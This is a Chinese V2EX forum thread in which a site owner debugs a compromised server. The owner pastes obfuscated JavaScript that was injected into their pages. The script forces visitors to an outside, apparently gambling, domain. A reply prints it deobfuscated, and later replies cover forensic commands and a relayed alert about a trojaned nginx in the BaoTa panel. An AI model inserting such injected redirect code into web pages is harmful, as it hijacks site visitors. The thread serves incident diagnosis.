V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
kingmo888
V2EX  ›  问与答

小白咨询,网站被攻击后打开有弹窗。。。

  •  
  •   kingmo888 · 2022-12-01 17:27:48 +08:00 · 2493 次点击
    这是一个创建于 756 天前的主题,其中的信息可能已经有所发展或是发生改变。

    离了个大谱,被 D 后,打开网页会有弹窗。

    清理缓存,经过 F12 ,发现首个加载的 JS 开头会被插入一段代码,

    屏蔽所有 JS 后没有问题。

    扫描了一下未发现病毒。

    SSL 下也无解,这该从何处入手呢。

    var _0x3402 = ['dGFyZ2V0', 'YXBwZW5kQ2hpbGQ=', 'aHR0cHM6Ly8za2R2NTh4ay5pYnRvYzN0Ny5jb20=', 'Y2xpY2s=', 'RE9NQ29udGVudExvYWRlZA==', 'b2tr', 'X2JsYW5r', 'Y29va2ll', 'Ym9keQ==', 'MTIz', 'a2tmZnM=', 'd2FmX3NjPTU4ODk2NDc3MjY7ZXhwaXJlcz0=', 'd2FmX3NjPTU4ODk2NDc3MjY=', 'cmFuZG9t', 'Z2V0VGltZQ=='];
    (function(_0x4f678f, _0x3402d3) {
        var _0x22dcf8 = function(_0x48d0ed) {
            while (--_0x48d0ed) {
                _0x4f678f['push'](_0x4f678f['shift']());
            }
        };
        _0x22dcf8(++_0x3402d3);
    }(_0x3402, 0x1b1));
    var _0x22dc = function(_0x4f678f, _0x3402d3) {
        _0x4f678f = _0x4f678f - 0x0;
        var _0x22dcf8 = _0x3402[_0x4f678f];
        if (_0x22dc['YbLqLE'] === undefined) {
            (function() {
                var _0x55fb65;
                try {
                    var _0x99ff51 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                    _0x55fb65 = _0x99ff51();
                } catch (_0x186283) {
                    _0x55fb65 = window;
                }
                var _0x245ad6 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
                _0x55fb65['atob'] || (_0x55fb65['atob'] = function(_0x45ea70) {
                    var _0x373e1f = String(_0x45ea70)['replace'](/=+$/, '');
                    var _0x474828 = '';
                    for (var _0x25b404 = 0x0, _0x4e134e, _0x51471c, _0x109a80 = 0x0; _0x51471c = _0x373e1f['charAt'](_0x109a80++); ~_0x51471c && (_0x4e134e = _0x25b404 % 0x4 ? _0x4e134e * 0x40 + _0x51471c : _0x51471c,
                    _0x25b404++ % 0x4) ? _0x474828 += String['fromCharCode'](0xff & _0x4e134e >> (-0x2 * _0x25b404 & 0x6)) : 0x0) {
                        _0x51471c = _0x245ad6['indexOf'](_0x51471c);
                    }
                    return _0x474828;
                }
                );
            }());
            _0x22dc['pzRRBR'] = function(_0x2f9082) {
                var _0x4ab614 = atob(_0x2f9082);
                var _0x28b9ef = [];
                for (var _0x40b68a = 0x0, _0xc5670f = _0x4ab614['length']; _0x40b68a < _0xc5670f; _0x40b68a++) {
                    _0x28b9ef += '%' + ('00' + _0x4ab614['charCodeAt'](_0x40b68a)['toString'](0x10))['slice'](-0x2);
                }
                return decodeURIComponent(_0x28b9ef);
            }
            ;
            _0x22dc['GHNzVI'] = {};
            _0x22dc['YbLqLE'] = !![];
        }
        var _0x48d0ed = _0x22dc['GHNzVI'][_0x4f678f];
        if (_0x48d0ed === undefined) {
            _0x22dcf8 = _0x22dc['pzRRBR'](_0x22dcf8);
            _0x22dc['GHNzVI'][_0x4f678f] = _0x22dcf8;
        } else {
            _0x22dcf8 = _0x48d0ed;
        }
        return _0x22dcf8;
    };
    function addiframe() {
        var _0x22998d = document['createElement']('a');
        _0x22998d['href'] = _0x22dc('0x4');
        _0x22998d[_0x22dc('0x2')] = _0x22dc('0x8');
        document[_0x22dc('0xa')][_0x22dc('0x3')](_0x22998d);
        _0x22998d[_0x22dc('0x5')]();
        setTimeout(()=>document[_0x22dc('0xa')]['removeChild'](_0x22998d), 0x1f40);
    }
    function setcookie() {
        var _0x3a43d1 = new Date();
        _0x3a43d1['setTime'](_0x3a43d1[_0x22dc('0x1')]() + 0x18 * 0x3 * 0x3c * 0x3c * 0x3e8);
        var _0x504815 = document[_0x22dc('0x9')]['indexOf'](_0x22dc('0xe'));
        if (_0x504815 < 0x0 && document[_0x22dc('0x7')] == null) {
            document[_0x22dc('0x7')] = _0x22dc('0xb');
            document['addEventListener'](_0x22dc('0x6'), function(_0x301b98) {
                if (document[_0x22dc('0xc')] == null) {
                    document[_0x22dc('0xc')] = _0x22dc('0xb');
                    var _0x5d8a65 = Math['floor'](Math[_0x22dc('0x0')]() * 0x64) + 0x1;
                    if (_0x5d8a65 <= 0x64) {
                        document[_0x22dc('0x9')] = _0x22dc('0xd') + _0x3a43d1['toGMTString']();
                        addiframe();
                    }
                }
            });
        }
    }
    setcookie();
    
    21 条回复    2022-12-09 08:35:10 +08:00
    kingjpa
        1
    kingjpa  
       2022-12-01 17:38:26 +08:00
    必然是网站 被篡改了啊,看修改日期和本地进行 hash 比对。
    eason1874
        2
    eason1874  
       2022-12-01 17:40:22 +08:00
    这是被挂马了,JS 只是篡改对象,不是恶意程序本身

    是不是用了什么开源建站程序,没做防护,没有及时升级
    triangle111
        3
    triangle111  
       2022-12-01 18:46:19 +08:00
    应该是菠菜网址吧


    function addiframe() {
    var _0x22998d = document["createElement"]("a");

    _0x22998d["href"] = "3kdv58xk.ibtoc3t7.com";
    _0x22998d["target"] = "_blank";
    document["body"]["appendChild"](_0x22998d);

    _0x22998d["click"]();

    setTimeout(() => document["body"]["removeChild"](_0x22998d), 8000);
    }

    function setcookie() {
    var _0x3a43d1 = new Date();

    _0x3a43d1["setTime"](_0x3a43d1["getTime"]() + 259200000);

    var _0x504815 = document["cookie"]["indexOf"]("waf_sc=5889647726");

    if (_0x504815 < 0 && document["okk"] == null) {
    document["okk"] = "123";
    document["addEventListener"]("DOMContentLoaded", function (_0x301b98) {
    if (document["kkffs"] == null) {
    document["kkffs"] = "123";

    var _0x5d8a65 = Math["floor"](Math["random"]() * 100) + 1;

    if (_0x5d8a65 <= 100) {
    document["cookie"] = "waf_sc=5889647726;expires=" + _0x3a43d1["toGMTString"]();
    addiframe();
    }
    }
    });
    }
    }

    setcookie();
    opengps
        4
    opengps  
       2022-12-01 19:29:23 +08:00
    如果你是 http ,那就太正常了,半路上随便一个地方想做手脚都可以给你加上这段代码,办法就是 https
    opengps
        5
    opengps  
       2022-12-01 19:30:21 +08:00
    但是 https 下有问题,我曾经遇到一个客户,他服务器上中了这类病毒程序,从源头上进行了添加额外内容
    kingmo888
        6
    kingmo888  
    OP
       2022-12-01 21:12:06 +08:00
    @opengps 是的,正好证书到期,本以为 HTTP 问题,但续签证书后,HTTPS 依然是该问题。

    @eason1874 如果是被挂马,那应该不会存在 js 源码没问题,然后访问的时候,任意首先加载的 js 会被插入。我确定 js 源码没问题,然后访问测试时,block 所有 js 正常,只要加载任意原 JS 就会被插入。
    eason1874
        7
    eason1874  
       2022-12-01 21:19:27 +08:00
    @kingmo888 #6 所以我说 JS 只是篡改对象,不是木马本身

    你可以把木马理解成服务器(或者网站程序)的插件,它会根据请求自动修改 HTTP 响应内容( JS 或者 HTML ),某些请求修改,某些请求不修改

    所以你检查 JS 源码没用,你要找到木马的位置
    owltacklejaguar
        8
    owltacklejaguar  
       2022-12-01 21:51:28 +08:00
    ```
    find / -newerct '2022-11-30 00:00' ! -newerct '2022-12-01 21:45' -name '*.php'
    ```
    检查一下被 D 时间段前后,被修改的 PHP 类型文件。
    如果是其他扩展文件自行修改。
    kingmo888
        9
    kingmo888  
    OP
       2022-12-01 22:49:26 +08:00
    @owltacklejaguar 感谢。检查过后,发现从服务器安装以来的 3 个月,除了 runtime ,和 phpadmin ,没有可疑修改,愁人
    kingmo888
        10
    kingmo888  
    OP
       2022-12-01 22:51:45 +08:00
    @owltacklejaguar 另外找到的很多文件,看了时间,并不在这时间范围内,请问是怎么回事呢。
    kingmo888
        11
    kingmo888  
    OP
       2022-12-01 22:53:52 +08:00
    @owltacklejaguar 对了用的宝塔面板,上面有几个不同程序的站点,所有站点都是相同的情况。
    jink2018us
        12
    jink2018us  
       2022-12-02 02:02:38 +08:00
    vps 删了重建
    owltacklejaguar
        13
    owltacklejaguar  
       2022-12-02 08:34:25 +08:00
    @kingmo888
    down 一个站点到本地复现,排查是否有恶意文件还是被劫持。
    或者寻找异常进程,检查定时任务。如果不是通过站点攻击进来的话建议排查系统漏洞。
    实在不行就恢复系统吧,记得备份。
    systemcall
        14
    systemcall  
       2022-12-02 09:18:48 +08:00
    删了重建吧
    修改时间是可以改的
    你除非在别的机器上面跑个日志服务,那可能可以捕获到一些信息
    kingmo888
        15
    kingmo888  
    OP
       2022-12-05 19:31:28 +08:00
    @systemcall 实在是几百 G 转移起来太难了。
    kingmo888
        16
    kingmo888  
    OP
       2022-12-05 19:35:37 +08:00
    @owltacklejaguar 本地搭建后,访问未出现问题,应该网站源码层面没有恶意文件。

    目前用这俩指令更新了系统所有库:
    ```
    yum check-update
    yum upgrade -y
    ```

    安装 nessus 并没有扫到什么恶意(现在深度怀疑是有木马程序),漏洞倒是通过前述指令修复了 9 成危险漏洞。


    深度怀疑是木马,原文中的 var _0x3402 = 里的加密变量竟然又变了。也就是说,那个辣鸡跳转网址一旦失效(墙)就会自动更新。
    kingmo888
        17
    kingmo888  
    OP
       2022-12-05 19:41:30 +08:00
    同时安装了 ClamAV ,进行了全部的扫描,也未发现病毒。
    kingmo888
        18
    kingmo888  
    OP
       2022-12-05 19:46:26 +08:00
    我去,因为是所有出站都有被注入,怀疑 nginx ,死马当活马医,测试呗,nginx 从 1.20 升级到 1.22 ,问题消失。

    诶。。这也不知道怎么复查了。
    owltacklejaguar
        19
    owltacklejaguar  
       2022-12-05 19:53:55 +08:00
    @kingmo888 如果升级 ng 之后问题消失,可能是 ng 版本的漏洞,去看看 ng 的日志吧
    kingmo888
        20
    kingmo888  
    OP
       2022-12-05 23:09:04 +08:00
    @owltacklejaguar 请问日志是看 nginx_error.log 以及 access.log 吗 谢谢
    owltacklejaguar
        21
    owltacklejaguar  
       2022-12-09 08:35:10 +08:00
    @kingmo888 速报:宝塔面板疑似出现全新高危漏洞,目前已出现大面积入侵
    建议:暂时性关闭面板,等待补丁更新
    影响版本:7.9.6 及以下且使用 nginx 用户
    风险等级:极高
    处置建议: 停止使用 BT 面板且更换阿帕奇 [宝塔官方建议暂停面板]
    排查方式: /www / server/ nginx/ sbin 目录下文件

    1. nginx 11.80 MB
    2. nginxBak 4.55 MB[木马]
    3. nginx 4.51M [木马]

    特征:
    1.大小 4.51
    2.时间近期
    3.nginx & nginxBAK 双文件

    入侵者通过该漏洞拥有 root 权限,受限于面板高权限运行,修改宝塔各种账号密码+SSH 账号密码均为无效。
    入侵者可以修改 nginx 配置文件+数据库文件+网站根目录文件
    站点可能出现大量日志同时 CPU 异常占用,暂不清楚漏洞点,切勿随意点击清除日志按钮
    注: 大量新装用户反馈出现挂马,目前 BT 官方源可能出现问题,建议暂停安装

    今天发的,可以去看下有没有异常文件
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3927 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 05:12 · PVG 13:12 · LAX 21:12 · JFK 00:12
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.